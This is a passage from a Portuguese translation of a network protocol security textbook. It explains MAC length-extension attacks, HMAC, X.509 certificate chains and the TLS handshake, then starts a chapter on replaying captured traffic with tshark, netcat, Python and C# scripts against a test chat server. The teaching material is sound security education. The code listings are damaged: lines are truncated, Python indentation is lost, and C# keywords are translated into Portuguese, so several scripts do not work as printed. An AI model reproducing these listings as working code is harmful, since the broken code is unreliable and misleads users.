15 mostra um exemplo de como isso funciona no MD5.
Figura 7-15: A estrutura em blocos do MD5

É importante notar que o resultado final do processo de


hashing de blocos depende apenas do hash do bloco anterior e
do bloco atual da mensagem. Nenhuma permutação é aplicada
ao valor final do hash. Portanto, é possível estender o valor do
hash iniciando o algoritmo a partir do último hash, em vez das
constantes predefinidas, e então percorrendo os blocos de
dados que você deseja adicionar ao hash final.

No caso de um MAC em que a chave foi prefixada no início da


mensagem, essa estrutura pode permitir que um atacante altere
a mensagem de alguma forma, como adicionando dados extras
ao final de um arquivo enviado. Se o atacante conseguir
adicionar mais blocos ao final da mensagem, ele poderá
calcular o valor correspondente do MAC sem conhecer a chave,
pois a chave já terá sido incorporada ao estado do algoritmo no
momento em que o atacante obtiver o controle.

E se você movesse a chave para o final da mensagem em vez de


anexá-la ao início? Essa abordagem certamente impede o
ataque de extensão de comprimento, mas ainda há um
problema. Em vez de uma extensão, o atacante precisa
encontrar uma colisão de hash — ou seja, uma mensagem com
o mesmo valor de hash que a mensagem real que está sendo
enviada. Como muitos algoritmos de hash (incluindo o MD5)
não são resistentes a colisões, o MAC pode estar vulnerável a
esse tipo de ataque. (Um algoritmo de hash que não é
vulnerável a esse ataque é o SHA-3.)

Códigos de autenticação de mensagens criptografadas

Você pode usar um Código de Autenticação de Mensagem


Hashed (HMAC) para combater os ataques descritos na seção
anterior. Em vez de anexar a chave diretamente à mensagem e
usar o hash resultante para gerar uma assinatura, um HMAC
divide o processo em duas partes.

Primeiro, a chave é submetida a uma operação XOR com um


bloco de preenchimento igual ao tamanho do bloco do
algoritmo de hash. Este primeiro bloco de preenchimento é
preenchido com um valor repetido, tipicamente o byte 0x36. O
resultado combinado é a primeira chave, às vezes chamada de
bloco de preenchimento interno. Esta é prefixada à mensagem
e o algoritmo de hash é aplicado. A segunda etapa pega o valor
de hash da primeira etapa, prefixa o hash com uma nova chave
(chamada de bloco de preenchimento externo, que tipicamente
usa a constante 0x5C) e aplica o algoritmo de hash novamente.
O resultado é o valor HMAC final. A Figura 7-16 ilustra esse
processo.

Figura 7-16: Construção do HMAC

Essa construção é resistente a ataques de extensão de


comprimento e de colisão, pois o atacante não consegue prever
facilmente o valor final do hash sem a chave.

Infraestrutura de chave pública

Como verificar a identidade do proprietário de uma chave


pública na criptografia de chave pública? O simples fato de uma
chave ser publicada com uma identidade associada — digamos,
Bob Smith de Londres — não significa que ela realmente venha
de Bob Smith de Londres. Por exemplo, se eu conseguir fazer
com que você confie na minha chave pública como sendo de
Bob, qualquer coisa que você criptografar para ele só poderá
ser lida por mim, porque eu possuo a chave privada.

Para mitigar essa ameaça, implementa-se uma Infraestrutura


de Chaves Públicas (PKI), que se refere ao conjunto combinado
de protocolos, formatos de chaves de criptografia, funções de
usuário e políticas usadas para gerenciar informações
assimétricas de chaves públicas em uma rede. Um modelo de
PKI, a Rede de Confiança (WOT, na sigla em inglês), é usado por
aplicativos como o Pretty Good Privacy (PGP). No modelo WOT,
a identidade de uma chave pública é atestada por alguém em
quem você confia, talvez alguém que você tenha conhecido
pessoalmente. Infelizmente, embora a WOT funcione bem para
e-mails, onde você provavelmente sabe com quem está se
comunicando, ela não funciona tão bem para aplicativos de
rede automatizados e processos de negócios.

Certificados X.509

Quando uma abordagem baseada em Web não é suficiente, é


comum usar um modelo de confiança mais centralizado, como
os certificados X.509, que geram uma hierarquia rígida de
confiança em vez de depender da confiança direta entre pares.
Os certificados X.509 são usados para verificar servidores web,
assinar programas executáveis ou autenticar em um serviço de
rede. A confiança é fornecida por meio de uma hierarquia de
certificados que utilizam algoritmos de assinatura assimétrica,
como RSA e DSA.

Para completar essa hierarquia, os certificados válidos devem


conter pelo menos quatro informações:

• O assunto, que especifica a identidade do certificado

• A chave pública do sujeito

• A entidade emissora, que identifica o certificado de assinatura

• Uma assinatura válida aplicada ao certificado e autenticada


pela chave privada do emissor.

Esses requisitos criam uma hierarquia chamada cadeia de


confiança entre certificados, conforme mostrado na Figura 7-17.
Uma vantagem desse modelo é que, como apenas as
informações da chave pública são distribuídas, é possível
fornecer certificados de componentes aos usuários por meio de
redes públicas.
Figura 7-17: A cadeia de confiança do certificado X.509

Note que geralmente há mais de um nível na hierarquia, pois


seria incomum que a entidade emissora do certificado raiz
assinasse diretamente os certificados usados por um aplicativo.
O certificado raiz é emitido por uma entidade chamada
autoridade certificadora (AC), que pode ser uma organização ou
empresa pública (como a Verisign) ou uma entidade privada
que emite certificados para uso em redes internas. A função da
AC é verificar a identidade de todos para quem ela emite
certificados.
Infelizmente, a quantidade de verificações reais que ocorrem
nem sempre é clara; muitas vezes, as Autoridades
Certificadoras (ACs) estão mais interessadas em vender
certificados assinados do que em fazer seu trabalho, e algumas
ACs fazem pouco mais do que verificar se estão emitindo um
certificado para um endereço comercial registrado. A maioria
das ACs diligentes deveria, no mínimo, recusar-se a gerar
certificados para empresas conhecidas, como Microsoft ou
Google, quando a solicitação do certificado não vier da empresa
em questão. Por definição, o certificado raiz não pode ser
assinado por outro certificado. Em vez disso, o certificado raiz é
um certificado autoassinado, no qual a chave privada associada
à chave pública do certificado é usada para assiná-lo.

Verificação de uma cadeia de certificados

Para verificar um certificado, você segue a cadeia de emissão


até o certificado raiz, garantindo em cada etapa que cada
certificado tenha uma assinatura válida e não expirada. Nesse
ponto, você decide se confia no certificado raiz e, por extensão,
na identidade do certificado no final da cadeia. A maioria dos
aplicativos que lidam com certificados, como navegadores da
web e sistemas operacionais, possui um banco de dados de
certificados raiz confiáveis.
O que impede alguém que obtém um certificado de servidor
web de assinar seu próprio certificado fraudulento usando a
chave privada do servidor? Na prática, isso é possível. Do ponto
de vista da criptografia, uma chave privada é igual a qualquer
outra. Se a confiança em um certificado fosse baseada na cadeia
de chaves, o certificado fraudulento se propagaria até uma raiz
confiável e pareceria válido.

Para se proteger contra esse ataque, a especificação X.509


define o parâmetro de restrições básicas, que pode ser
adicionado opcionalmente a um certificado. Esse parâmetro é
um indicador que sinaliza que o certificado pode ser usado
para assinar outro certificado e, portanto, atuar como uma
Autoridade Certificadora (AC). Se o indicador de AC de um
certificado estiver definido como falso (ou se o parâmetro de
restrições básicas estiver ausente), a verificação da cadeia
deverá falhar caso esse certificado seja usado para assinar
outro certificado. A Figura 7-18 mostra esse parâmetro de
restrição básica em um certificado real que indica que esse
certificado deve ser válido para atuar como uma autoridade
certificadora.

Mas e se um certificado emitido para verificar um servidor web


for usado para assinar o código de um aplicativo? Nessa
situação, o certificado X.509 pode especificar um parâmetro de
uso da chave, que indica para quais usos o certificado foi
gerado. Se o certificado for usado para algo para o qual não foi
projetado, a cadeia de verificação deverá falhar.

Por fim, o que acontece se a chave privada associada a um


determinado certificado for roubada ou se uma Autoridade
Certificadora (AC) emitir acidentalmente um certificado
fraudulento (como já aconteceu algumas vezes)? Embora cada
certificado tenha uma data de expiração, essa data pode estar a
muitos anos de distância. Portanto, se um certificado precisar
ser revogado, a AC pode publicar uma lista de revogação de
certificados (CRL). Se algum certificado na cadeia estiver na
lista de revogação, o processo de verificação deverá falhar.
Figura 7-18: Restrições básicas do certificado X.509

Como você pode ver, a verificação da cadeia de certificados


pode falhar em vários pontos.

Estudo de caso: Segurança da camada de transporte

Vamos aplicar alguns dos conceitos teóricos de segurança de


protocolos e criptografia a um protocolo do mundo real. O
Transport Layer Security (TLS), anteriormente chamado de
Secure Sockets Layer (SSL), é o protocolo de segurança mais
comum em uso na internet. O TLS foi originalmente
desenvolvido como SSL pela Netscape em meados da década de
1990 para proteger conexões HTTP. O protocolo passou por
diversas revisões: versões SSL de 1.0 a 3.0 e versões TLS de 1.0 a
1.2. Embora tenha sido originalmente projetado para HTTP, o
TLS pode ser usado com qualquer protocolo TCP. Existe até
mesmo uma variante, o protocolo Datagram Transport Layer
Security (DTLS), para uso com protocolos não confiáveis, como
o UDP.

O TLS utiliza muitas das construções descritas neste capítulo,


incluindo criptografia simétrica e assimétrica, MACs, troca
segura de chaves e PKI. Discutirei o papel que cada uma dessas
ferramentas criptográficas desempenha na segurança de uma
conexão TLS e abordarei alguns ataques contra o protocolo.
(Discutirei apenas a versão 1.0 do TLS, por ser a versão mais
comumente suportada, mas esteja ciente de que as versões 1.1 e
1.2 estão se tornando mais comuns devido a uma série de
problemas de segurança na versão 1.0.)

O aperto de mãos TLS

A parte mais importante para estabelecer uma nova conexão


TLS é o handshake, onde o cliente e o servidor negociam o tipo
de criptografia que usarão, trocam uma chave única para a
conexão e verificam a identidade um do outro. Toda a
comunicação utiliza um protocolo de registro TLS — uma
estrutura predefinida de tag-comprimento-valor que permite ao
analisador do protocolo extrair registros individuais do fluxo de
bytes. Todos os pacotes de handshake recebem um valor de tag
22 para distingui-los de outros pacotes. A Figura 7-19 mostra o
fluxo desses pacotes de handshake de forma simplificada.
(Alguns pacotes são opcionais, conforme indicado na figura.)

Como você pode ver pela grande quantidade de dados enviados


e recebidos, o processo de handshake pode ser demorado: às
vezes, ele pode ser truncado ou completamente ignorado
armazenando em cache uma chave de sessão negociada
anteriormente ou solicitando ao servidor que retome uma
sessão anterior, fornecendo um identificador de sessão
exclusivo. Isso não representa um problema de segurança, pois,
embora um cliente malicioso possa solicitar a retomada de uma
sessão, ele ainda não terá acesso à chave de sessão privada
negociada.
Figura 7-19: O processo de handshake TLS

Negociação inicial

Como primeiro passo no handshake, o cliente e o servidor


negociam os parâmetros de segurança que desejam usar para a
conexão TLS por meio de uma mensagem HELLO. Uma das
informações presentes na mensagem HELLO é o valor aleatório
do cliente, que garante que o processo de conexão não possa ser
facilmente replicado. A mensagem HELLO também indica quais
tipos de cifras o cliente suporta. Embora o TLS seja projetado
para ser flexível em relação aos algoritmos de criptografia que
utiliza, ele suporta apenas cifras simétricas, como RC4 ou AES,
pois o uso de criptografia de chave pública seria
computacionalmente muito custoso.

O servidor responde com sua própria mensagem HELLO,


indicando qual cifra escolheu da lista disponível fornecida pelo
cliente. (A conexão termina se o par não conseguir negociar
uma cifra em comum.) A mensagem HELLO do servidor
também contém o valor aleatório do servidor, que adiciona
proteção adicional contra ataques de repetição à conexão. Em
seguida, o servidor envia seu certificado X.509, bem como
quaisquer certificados de CA intermediários necessários, para
que o cliente possa tomar uma decisão informada sobre a
identidade do servidor. Por fim, o servidor envia um pacote
HELLO Done para informar ao cliente que ele pode prosseguir
com a autenticação da conexão.

Autenticação de ponto final

O cliente deve verificar se os certificados do servidor são


legítimos e se atendem aos seus próprios requisitos de
segurança. Primeiro, o cliente deve verificar a identidade no
certificado, comparando o campo Assunto do certificado com o
nome de domínio do servidor. Por exemplo, a Figura 7-20
mostra um certificado para o domínio [Link]. O
campo Assunto contém um Nome Comum (CN) que
corresponde a esse domínio.

Figura 7-20: O assunto do certificado para [Link]

Os campos Assunto e Emissor de um certificado não são simples


strings, mas sim nomes X.500, que contêm outros campos, como
Organização (normalmente o nome da empresa proprietária do
certificado) e E-mail (um endereço de e-mail qualquer). No
entanto, apenas o CN é verificado durante o handshake para
confirmar a identidade, portanto, não se confunda com os
dados extras. Também é possível usar curingas no campo CN, o
que é útil para compartilhar certificados com vários servidores
em um mesmo subdomínio. Por exemplo, um CN definido como
*.[Link] corresponderia tanto a [Link]
quanto a [Link].

Após o cliente verificar a identidade do ponto de extremidade


(isto é, o servidor na outra ponta da conexão), ele deve garantir
que o certificado seja confiável. Isso é feito construindo a cadeia
de confiança para o certificado e quaisquer certificados de CA
intermediários, verificando se nenhum dos certificados consta
em listas de revogação de certificados. Se a raiz da cadeia não
for confiável para o cliente, ele pode presumir que o certificado
é suspeito e encerrar a conexão com o servidor. A Figura 7-21
mostra uma cadeia simples com uma CA intermediária para
[Link].
Figura 7-21: A cadeia de confiança para [Link]

O TLS também suporta um certificado de cliente opcional que


permite ao servidor autenticar o cliente. Se o servidor solicitar
um certificado de cliente, ele envia uma lista de certificados
raiz aceitáveis ao cliente durante a fase HELLO. O cliente pode
então pesquisar seus certificados disponíveis e escolher o mais
apropriado para enviar de volta ao servidor. Ele envia o
certificado — juntamente com uma mensagem de verificação
contendo um hash de todas as mensagens de handshake
enviadas e recebidas até o momento — assinado com a chave
privada do certificado. O servidor pode verificar se a assinatura
corresponde à chave no certificado e conceder acesso ao
cliente; no entanto, se a correspondência falhar, o servidor
pode fechar a conexão. A assinatura comprova ao servidor que
o cliente possui a chave privada associada ao certificado.

Estabelecendo a criptografia

Após a autenticação do endpoint, o cliente e o servidor podem


finalmente estabelecer uma conexão criptografada. Para isso, o
cliente envia ao servidor um pré-segredo mestre gerado
aleatoriamente, criptografado com a chave pública do
certificado do servidor. Em seguida, o cliente e o servidor
combinam o pré-segredo mestre com os valores aleatórios
gerados por cada um deles, e utilizam esse valor combinado
para inicializar um gerador de números aleatórios que gera um
segredo mestre de 48 bytes, que será a chave de sessão para a
conexão criptografada. (O fato de tanto o servidor quanto o
cliente gerarem a chave mestre proporciona proteção contra
ataques de repetição à conexão, pois se um dos endpoints
enviar um valor aleatório diferente durante a negociação, os
endpoints gerarão segredos mestres diferentes.)
Quando ambos os pontos de extremidade possuem a chave
mestra, ou chave de sessão, uma conexão criptografada é
possível. O cliente envia um pacote de alteração de
especificação de cifra para informar ao servidor que, a partir
daquele momento, enviará apenas mensagens criptografadas.
No entanto, o cliente precisa enviar uma mensagem final ao
servidor antes que o tráfego normal possa ser transmitido: o
pacote finalizado. Este pacote é criptografado com a chave de
sessão e contém um hash de todas as mensagens de handshake
enviadas e recebidas durante o processo de handshake. Esta é
uma etapa crucial na proteção contra ataques de downgrade,
nos quais um atacante modifica o processo de handshake para
tentar reduzir a segurança da conexão, selecionando algoritmos
de criptografia fracos. Assim que o servidor recebe a mensagem
finalizada, ele pode validar se a chave de sessão negociada está
correta (caso contrário, o pacote não seria descriptografado) e
verificar se o hash está correto. Se não estiver, ele pode fechar a
conexão. Mas se tudo estiver correto, o servidor enviará sua
própria mensagem de alteração de especificação de cifra para o
cliente, e as comunicações criptografadas poderão começar.

Cada pacote criptografado também é verificado usando um


HMAC, que fornece autenticação de dados e garante a
integridade dos mesmos. Essa verificação é particularmente
importante se uma cifra de fluxo, como o RC4, tiver sido
negociada; caso contrário, os blocos criptografados poderiam
ser facilmente modificados.

Atender aos requisitos de segurança

O protocolo TLS atende com sucesso aos quatro requisitos de


segurança listados no início deste capítulo e resumidos na
Tabela 7-4.

Tabela 7-4: Como o TLS atende aos requisitos de segurança

Requisito de Como é atendido


segurança

Confidencialidade Conjuntos de cifras fortes


dos dados selecionáveis
Troca de chaves segura

Integridade dos Os dados criptografados são


dados protegidos por um HMAC
. Os pacotes de handshake são
verificados por meio de verificação
de hash final.
Requisito de Como é atendido
segurança

Autenticação do O cliente pode optar por verificar o


servidor endpoint do servidor usando a PKI
e o certificado emitido.

Autenticação do Autenticação opcional do cliente


cliente baseada em certificado

Mas existem problemas com o TLS. O mais significativo, que até


o momento da redação deste texto não foi corrigido nas versões
mais recentes do protocolo, é sua dependência de uma
Infraestrutura de Chaves Públicas (PKI) baseada em
certificados. O protocolo depende inteiramente da confiança de
que os certificados sejam emitidos para as pessoas e
organizações corretas. Se o certificado de uma conexão de rede
indica que o aplicativo está se comunicando com um servidor
do Google, presume-se que somente o Google seria capaz de
adquirir o certificado necessário. Infelizmente, esse nem
sempre é o caso. Situações em que corporações e governos
subverteram o processo de Autoridades Certificadoras (ACs)
para gerar certificados já foram documentadas. Além disso,
erros foram cometidos quando as ACs não realizaram sua
devida diligência e emitiram certificados inválidos, como o
certificado do Google mostrado na Figura 7-22, que acabou
tendo que ser revogado.

Figura 7-22: Um certificado para o Google emitido


“incorretamente” pela CA TÜRKTRUST.

Uma solução parcial para o modelo de certificados é um


processo chamado fixação de certificado. Fixar certificado
significa que um aplicativo restringe os certificados e as
autoridades certificadoras (CAs) aceitáveis para determinados
domínios. Como resultado, se alguém conseguir obter
fraudulentamente um certificado válido para [Link],
o aplicativo perceberá que o certificado não atende às
restrições da CA e a conexão será interrompida.

É claro que o pinning de certificados tem suas desvantagens e,


portanto, não é aplicável a todos os cenários. O problema mais
comum é o gerenciamento da lista de pinning; especificamente,
criar uma lista inicial pode não ser uma tarefa muito difícil,
mas atualizá-la adiciona encargos adicionais. Outro problema é
que um desenvolvedor não pode migrar facilmente os
certificados para outra AC ou alterar certificados sem também
ter que emitir atualizações para todos os clientes.

Outro problema com o TLS, pelo menos no que diz respeito à


vigilância de redes, é que uma conexão TLS pode ser capturada
da rede e armazenada por um atacante até que seja necessária.
Se esse atacante obtiver a chave privada do servidor, todo o
tráfego histórico poderá ser descriptografado. Por esse motivo,
diversas aplicações de rede estão migrando para a troca de
chaves usando o algoritmo DH, além do uso de certificados para
verificação de identidade. Isso permite sigilo de
encaminhamento perfeito — mesmo que a chave privada seja
comprometida, não deve ser fácil calcular também a chave
gerada pelo DH.

Palavras finais

Este capítulo abordou os fundamentos da segurança de


protocolos. A segurança de protocolos possui muitas facetas e é
um tema bastante complexo. Portanto, é importante
compreender o que pode dar errado e identificar o problema
durante qualquer análise de protocolo.

A criptografia e as assinaturas dificultam a captura de


informações confidenciais transmitidas por uma rede por um
invasor. O processo de criptografia converte o texto simples (os
dados que você deseja ocultar) em texto cifrado (os dados
criptografados). As assinaturas são usadas para verificar se os
dados transmitidos pela rede não foram comprometidos. Uma
assinatura apropriada também pode ser usada para verificar a
identidade do remetente. A capacidade de verificar o remetente
é muito útil para autenticar usuários e computadores em uma
rede não confiável.

Este capítulo também descreve alguns possíveis ataques contra


a criptografia usada na segurança de protocolos, incluindo o
conhecido ataque de oráculo de preenchimento (padding
oracle), que poderia permitir a descriptografia do tráfego
enviado de e para um servidor. Em capítulos posteriores,
explicarei com mais detalhes como analisar a configuração de
segurança de um protocolo, incluindo os algoritmos de
criptografia usados para proteger dados sensíveis.
8
IMPLEMENTANDO O PROTOCOLO DE
REDE

Analisar um protocolo de rede pode ser um fim em si mesmo;


no entanto, muito provavelmente você desejará implementar o
protocolo para poder testá-lo em busca de vulnerabilidades de
segurança. Neste capítulo, você aprenderá maneiras de
implementar um protocolo para fins de teste. Abordarei
técnicas para reaproveitar o máximo possível de código
existente, reduzindo o esforço de desenvolvimento necessário.

Este capítulo utiliza meu aplicativo SuperFunkyChat, que


fornece dados de teste, clientes e servidores para comparação. É
claro que você pode usar qualquer protocolo que desejar: os
fundamentos devem ser os mesmos.

Reproduzindo tráfego de rede capturado existente

Idealmente, queremos fazer apenas o mínimo necessário para


implementar um cliente ou servidor para testes de segurança.
Uma maneira de reduzir o esforço necessário é capturar
exemplos de tráfego de protocolo de rede e reproduzi-los para
clientes ou servidores reais. Analisaremos três maneiras de
atingir esse objetivo: usando o Netcat para enviar dados
binários brutos, usando Python para enviar pacotes UDP e
reaproveitando nosso código de análise do Capítulo 5 para
implementar um cliente e um servidor.

Capturando tráfego com o Netcat

O Netcat é a maneira mais simples de implementar um cliente


ou servidor de rede. A ferramenta básica do Netcat está
disponível na maioria das plataformas, embora existam várias
versões com diferentes opções de linha de comando. (O Netcat
às vezes é chamado de nc ou netcat.) Usaremos a versão BSD do
Netcat, que é usada no macOS e é a padrão na maioria dos
sistemas Linux. Você pode precisar adaptar os comandos se
estiver usando um sistema operacional diferente.

O primeiro passo ao usar o Netcat é capturar o tráfego que você


deseja reproduzir. Usaremos a versão de linha de comando do
Wireshark, o Tshark, para capturar o tráfego gerado pelo
SuperFunkyChat. (Talvez seja necessário instalar o Tshark em
sua plataforma.)

Para limitar nossa captura aos pacotes enviados e recebidos


pelo nosso servidor de bate-papo em execução na porta TCP
12345, usaremos uma expressão de Filtro de Pacotes Berkeley
(BPF) para restringir a captura a um conjunto muito específico
de pacotes. As expressões BPF limitam os pacotes capturados,
enquanto o filtro de exibição do Wireshark limita apenas a
exibição de um conjunto muito maior de pacotes capturados.

Execute o seguinte comando no console para iniciar a captura


do tráfego da porta 12345 e gravar a saída no arquivo
[Link]. Substitua INTNAME pelo nome da interface da
qual você está capturando, como eth0.

$ tshark -i INTNAME -w [Link] porta tcp 12345

Estabeleça uma conexão de cliente com o servidor para iniciar


a captura de pacotes e, em seguida, interrompa a captura
pressionando CTRL+C no console que executa o Tshark.
Certifique-se de ter capturado o tráfego correto no arquivo de
saída executando o Tshark com o parâmetro -r e especificando
o arquivo [Link]. A Listagem 8-1 mostra um exemplo de
saída do Tshark com a adição dos parâmetros -z conv,tcp para
imprimir a lista de conversas capturadas.

$ tshark -r [Link] -z conv,tcp


➊ 1 0 [Link] → [Link] TCP 66 26082 → 12
2 0.000037695 [Link] → [Link] TCP 66 12
3 0.000239814 [Link] → [Link] TCP 60 26
4 0.007160883 [Link] → [Link] TCP 60 26
5 0.007225155 [Link] → [Link] TCP 54 12
--trecho omitido--

=====================================================
Conversas TCP
Filtro:<Sem filtro>
| <- | | -> |
| Quadros Bytes | | Bytes de quadros |
[Link]:26082 <-> [Link]:12345➋ 17 1020➌
=====================================================

Listagem 8-1: Verificação da captura do tráfego do protocolo de


bate-papo

Como você pode ver na Listagem 8-1, o Tshark imprime a lista


de pacotes brutos em ➊ e, em seguida, exibe o resumo da
conversa ➋, que mostra que temos uma conexão indo de
[Link] porta 26082 para [Link] porta 12345. O
cliente em [Link] recebeu 17 quadros ou 1020 bytes de
dados ➌ e o servidor recebeu 28 quadros ou 1733 bytes de
dados ➍.

Agora usamos o Tshark para exportar apenas os bytes brutos de


uma das direções da conversa:
$ tshark -r [Link] -T fields -e data '[Link]

Este comando lê a captura de pacotes e exibe os dados de cada


pacote; ele não filtra itens como pacotes duplicados ou fora de
ordem. Há alguns detalhes importantes a serem observados
sobre este comando. Primeiro, você deve usá-lo apenas em
capturas produzidas em uma rede confiável, como via localhost
ou uma conexão de rede local, caso contrário, poderá ver
pacotes com erros na saída. Segundo, o campo de dados só
estará disponível se o protocolo não for decodificado por um
analisador. Isso não é um problema com a captura TCP, mas
quando passarmos para UDP, precisaremos desativar os
analisadores para que este comando funcione corretamente.

Lembre-se de que, em ➋ na Listagem 8-1, a sessão do cliente


estava usando a porta 26082. O filtro de exibição
[Link]==26082 remove todo o tráfego da saída que não
tenha uma porta de origem TCP de 26082. Isso limita a saída ao
tráfego do cliente para o servidor. O resultado são os dados em
formato hexadecimal, semelhante à Listagem 8-2.

$ cat [Link]
42494e58
0000d
0000347
00
057573657231044f4e595800
--trecho omitido--

Listagem 8-2: Exemplo de saída da coleta de tráfego bruto

Em seguida, convertemos essa saída hexadecimal em binário


bruto. A maneira mais simples de fazer isso é com a ferramenta
xxd, que é instalada por padrão na maioria dos sistemas do tipo
Unix. Execute o comando xxd, como mostrado na Listagem 8-3,
para converter o dump hexadecimal em um arquivo binário. (O
parâmetro -p converte dumps hexadecimais brutos em vez do
formato padrão do xxd, que converte dumps hexadecimais
numerados.)

$ xxd -p -r [Link] > [Link]


$ xxd [Link]
0000: 4249 4e58 0000 000d 0000 0347 0005 7573 BINX...
000010: 6572 3104 4f4e 5958 0000 0000 1c00 0009 er1.O
000020: 7b03 0575 7365 7231 1462 6164 6765 7220 {..us
--trecho omitido--

Listagem 8-3: Convertendo o despejo hexadecimal em dados


binários

Finalmente, podemos usar o Netcat com o arquivo de dados


binários. Execute o seguinte comando netcat para enviar o
tráfego do cliente em [Link] para um servidor na porta
12345 do HOSTNAME. Qualquer tráfego enviado do servidor de
volta para o cliente será capturado em [Link].

$ netcat HOSTNAME 12345 < [Link] > [Link]

Você pode editar o arquivo [Link] com um editor


hexadecimal para alterar os dados da sessão que está sendo
reproduzida. Você também pode usar o arquivo [Link]
(ou extraí-lo de um arquivo PCAP) para enviar tráfego de volta
para um cliente, fingindo ser o servidor, usando o seguinte
comando:

$ netcat -l 12345 < [Link] > new_outbound.bin


Utilizando Python para reenviar tráfego UDP capturado

Uma limitação do uso do Netcat é que, embora seja fácil


reproduzir um protocolo de streaming como o TCP, não é tão
fácil reproduzir tráfego UDP. Isso ocorre porque o tráfego UDP
precisa manter os limites dos pacotes, como vimos quando
tentamos analisar o protocolo do Aplicativo de Chat no Capítulo
5. No entanto, o Netcat simplesmente tentará enviar o máximo
de dados possível ao enviar dados de um arquivo ou de um
pipeline de shell.

Em vez disso, escreveremos um script Python muito simples


que reproduzirá os pacotes UDP para o servidor e capturará
quaisquer resultados. Primeiro, precisamos capturar algum
tráfego de exemplo do protocolo de bate-papo UDP usando o
parâmetro de linha de comando `--udp` do `ChatClient`. Em
seguida, usaremos o Tshark para salvar os pacotes no arquivo
`udp_capture.pcap`, como mostrado aqui:

tshark -i INTNAME -w udp_capture.pcap porta udp 12345

Em seguida, converteremos novamente todos os pacotes do


cliente para o servidor em strings hexadecimais para que
possamos processá-los no cliente Python:
tshark -T fields -e data -r udp_capture.pcap --disabl
"[Link]==12345" > udp_outbound.txt

Uma diferença na extração de dados da captura UDP é que o


Tshark tenta automaticamente analisar o tráfego como se fosse
o protocolo GVSP. Isso resulta na indisponibilidade do campo de
dados. Portanto, precisamos desativar o analisador GVSP para
gerar a saída correta.

Com um dump hexadecimal dos pacotes, podemos finalmente


criar um script Python muito simples para enviar os pacotes
UDP e capturar a resposta. Copie o trecho 8-4 para o arquivo
udp_client.py.

udp_client.py

import sys
import binascii
from socket import socket, AF_INET, SOCK_DGRAM

if len([Link]) < 3:
print("Especifique o host e a porta de destino")
exit(1)
# Crie um socket UDP com um tempo limite de recebimen
sock = socket(AF_INET, SOCK_DGRAM)
[Link](1)
addr = ([Link][1], int([Link][2]))

for line in [Link]:


msg = binascii.a2b_hex([Link]())
[Link](msg, addr)

try:
data, server = [Link](1024)
print(binascii.b2a_hex(data))
except:
pass

Listagem 8-4: Um cliente UDP simples para enviar captura de


tráfego de rede

Execute o script Python usando a seguinte linha de comando


(deve funcionar no Python 2 e 3), substituindo HOSTNAME pelo
host apropriado:

python udp_client.py HOSTNAME 12345 < udp_outbound.tx


O servidor deve receber os pacotes, e quaisquer pacotes
recebidos no cliente devem ser impressos no console como
strings binárias.

Reutilizando nosso proxy de análise

No Capítulo 5, implementamos um proxy simples para o


SuperFunkyChat que capturava o tráfego e realizava uma
análise básica do mesmo. Podemos usar os resultados dessa
análise para implementar um cliente e um servidor de rede
para reproduzir e modificar o tráfego, permitindo-nos reutilizar
grande parte do nosso trabalho já realizado no
desenvolvimento de analisadores e código associado, em vez de
termos que reescrevê-lo para uma estrutura ou linguagem
diferente.

Capturando um exemplo de tráfego

Antes de implementarmos um cliente ou um servidor,


precisamos capturar algum tráfego. Usaremos o script
[Link] que desenvolvemos no Capítulo 5 e o código na
Listagem 8-5 para criar um proxy para capturar o tráfego de
uma conexão.

capítulo8_captura
_proxy.csx
#carregar "[Link]"
usando static [Link];
usando static [Link];

var template = new FixedProxyTemplate();


// Porta local 4444, destino [Link]:12345
[Link] = 4444;
[Link] = "[Link]";
[Link] = 12345;
➊ [Link]<Parser>();

var service = [Link]();


[Link]();
WriteLine("Criado {0}", service);
WriteLine("Pressione Enter para sair...");
ReadLine();
[Link]();

WriteLine("Gravando pacotes de saída em [Link]")


➋ [Link]("[Link]", "Out");

Listagem 8-5: O proxy para capturar o tráfego de bate-papo em


um arquivo
O exemplo 8-5 configura um ouvinte TCP na porta 4444,
encaminha novas conexões para [Link] na porta 12345 e
captura o tráfego. Observe que ainda adicionamos nosso código
de análise ao proxy em ➊ para garantir que os dados
capturados contenham a porção de dados do pacote, e não as
informações de comprimento ou checksum. Observe também
que, em ➋, gravamos os pacotes em um arquivo, que incluirá
todos os pacotes de entrada e saída. Precisaremos filtrar uma
direção específica do tráfego posteriormente para enviar a
captura pela rede.

Execute uma única conexão de cliente através deste proxy e


teste o cliente por um bom tempo. Em seguida, feche a conexão
no cliente e pressione ENTER no console para sair do proxy e
gravar os dados do pacote em [Link]. (Mantenha uma
cópia deste arquivo; precisaremos dele para o nosso cliente e
servidor.)

Implementando um cliente de rede simples

Em seguida, usaremos o tráfego capturado para implementar


um cliente de rede simples. Para isso, usaremos a classe
NetClientTemplate para estabelecer uma nova conexão com o
servidor e obter uma interface para ler e gravar pacotes de
rede. Copie o código da Listagem 8-6 para um arquivo chamado
chapter8_client.csx.

capítulo8
_cliente.csx

#carregar "[Link]"

usando static [Link];


usando static [Link];

➊ se ([Link] < 1)
WriteLine("Por favor, especifique um arquivo de captu
return;

➋ var template = new NetClientTemplate();


[Link] = 12345;
[Link] = "[Link]";
[Link]<Parser>();
➌ [Link] = new byte[] { 0x42, 0x49, 0x4

➍ var packets = [Link](args

➎ using(var adapter = [Link]())


WriteLine("Conectado");
// Escrever pacotes no adaptador
➏ foreach(var packet in [Link]("Out
[Link]([Link]);

// Define um tempo limite de 1000ms na leitura para q


[Link] = 1000;
➐ DataFrame frame = [Link]();
while(frame != null)
WritePacket(frame);
frame = [Link]();

Listagem 8-6: Um cliente simples para substituir o tráfego do


SuperFunkyChat

Uma novidade neste código é que cada script recebe uma lista
de argumentos de linha de comando na variável `args` ➊. Ao
usar argumentos de linha de comando, podemos especificar
diferentes arquivos de captura de pacotes sem precisar
modificar o script.
O NetClientTemplate é configurado de forma semelhante ao
nosso proxy, estabelecendo conexões com [Link]:12345, mas
com algumas diferenças para dar suporte ao cliente. Por
exemplo, como analisamos o tráfego de rede inicial dentro da
classe Parser, nosso arquivo de captura não contém o valor
mágico inicial que o cliente envia ao servidor. Adicionamos um
array InitialData ao modelo com os bytes mágicos para
estabelecer a conexão corretamente.

Em seguida, lemos os pacotes do arquivo ➍ para uma coleção


de pacotes. Quando tudo estiver configurado, chamamos
Connect() para estabelecer uma nova conexão com o servidor
➎. O método Connect() retorna um Adaptador de Dados que nos
permite ler e gravar pacotes analisados na conexão. Qualquer
pacote que lermos também passará pelo analisador sintático e
removerá os campos de comprimento e checksum.

Em seguida, filtramos os pacotes carregados para que sejam


apenas de saída e os escrevemos na conexão de rede ➏. A classe
Parser garante novamente que todos os pacotes de dados que
